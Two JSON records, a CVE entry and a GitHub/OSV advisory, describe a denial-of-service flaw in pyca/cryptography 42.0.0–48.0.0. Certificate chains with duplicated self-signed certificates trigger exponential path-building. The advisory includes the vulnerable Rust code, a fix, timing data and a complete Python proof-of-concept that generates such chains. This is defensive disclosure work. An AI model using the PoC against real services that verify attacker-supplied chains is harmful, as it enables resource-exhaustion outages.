{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-69249",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-04T14:08:23.254769Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-04T14:08:58.056Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "cryptography",
          "vendor": "pyca",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 42.0.0, \u003c 49.0.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-04T21:20:32.666Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
        },
        {
          "name": "https://github.com/pyca/cryptography/pull/14960",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pyca/cryptography/pull/14960"
        },
        {
          "name": "https://github.com/pyca/cryptography/commit/3763aa79b",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pyca/cryptography/commit/3763aa79b"
        },
        {
          "name": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"
        },
        {
          "name": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"
        }
      ],
      "source": {
        "advisory": "GHSA-jwv3-5hgf-82ww",
        "discovery": "UNKNOWN"
      },
      "title": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-69249",
    "datePublished": "2026-08-03T21:26:45.826Z",
    "dateReserved": "2026-08-03T19:54:19.852Z",
    "dateUpdated": "2026-09-04T21:20:32.666Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 48.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "cryptography"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "42.0.0"
            },
            {
              "fixed": "49.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-03T21:26:50Z",
    "nvd_published_at": "2026-08-03T22:16:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n        \u0026self,\n        working_cert: \u0026VerificationCertificate\u003c\u0027chain, B\u003e,\n        current_depth: u8,\n        working_cert_extensions: \u0026Extensions\u003c\u0027chain\u003e,\n        name_chain: NameChain\u003c\u0027_, \u0027chain\u003e,\n        budget: \u0026mut Budget,\n    ) -\u003e ValidationResult\u003c\u0027chain, Chain\u003c\u0027chain, B\u003e, B\u003e {\n        if let Some(nc) = working_cert_extensions.get_extension(\u0026NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(\u0026nc.value()?, budget)?;\n        }\n\n        // Look in the store\u0027s root set to see if the working cert is listed.\n        // If it is, we\u0027ve reached the end.\n        if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n        }\n\n        // Check that our current depth does not exceed our policy-configured\n        // max depth. We do this after the root set check, since the depth\n        // only measures the intermediate chain\u0027s length, not the root or leaf.\n        if current_depth \u003e self.policy.max_chain_depth {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain construction exceeds max depth\".into(),\n            )));\n        }\n\n        // Otherwise, we collect a list of potential issuers for this cert,\n        // and continue with the first that verifies.\n        let mut last_err: Option\u003cValidationError\u003c\u0027_, B\u003e\u003e = None;\n        for issuing_cert_candidate in self.potential_issuers(working_cert) {\n            // A candidate issuer is said to verify if it both\n            // signs for the working certificate and conforms to the\n            // policy.\n            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n                issuing_cert_candidate,\n                working_cert,\n                current_depth,\n                \u0026issuer_extensions,\n            ) {\n                Ok(_) =\u003e {\n                    match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::\u003c\u0026VerificationCertificate\u003c\u0027chain, B\u003e\u003e::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_) =\u003e {\n                      if seen_valid_issuers.contains(\u0026issuing_cert_candidate) {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n                          // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -\u003e 1,7,rejected,0.000667\n2,7,rejected,0.025154 -\u003e 2,7,rejected,0.001229\n3,7,rejected,0.489924 -\u003e 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -\u003e 4,7,rejected,0.002144\n3,8,rejected,1.468193 -\u003e 3,8,rejected,0.001811\n4,8,timeout\u003e5s,       -\u003e 4,8,rejected,0.002410\n5,7,timeout\u003e5s,       -\u003e 5,7,rejected,0.002640\n6,6,timeout\u003e5s,       -\u003e 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n    cert = (\n        base_builder(subject, subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n            False,\n        )\n        .sign(private_key, hashes.SHA256())\n    )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n        base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n            False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n    looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key, looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n    verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n        .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n    )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf, [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n        result = \"rejected\"\n    queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n    process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates, max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n    if process.is_alive():\n        process.terminate()\n        process.join()\n        print(f\"{duplicates},{max_depth},timeout\u003e{TIMEOUT}s,\")\n        return\n\n    result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n        run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.",
  "id": "GHSA-jwv3-5hgf-82ww",
  "modified": "2026-09-04T21:19:50Z",
  "published": "2026-08-03T21:26:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69249"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/pull/14960"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/commit/3763aa79b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyca/cryptography"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building"
}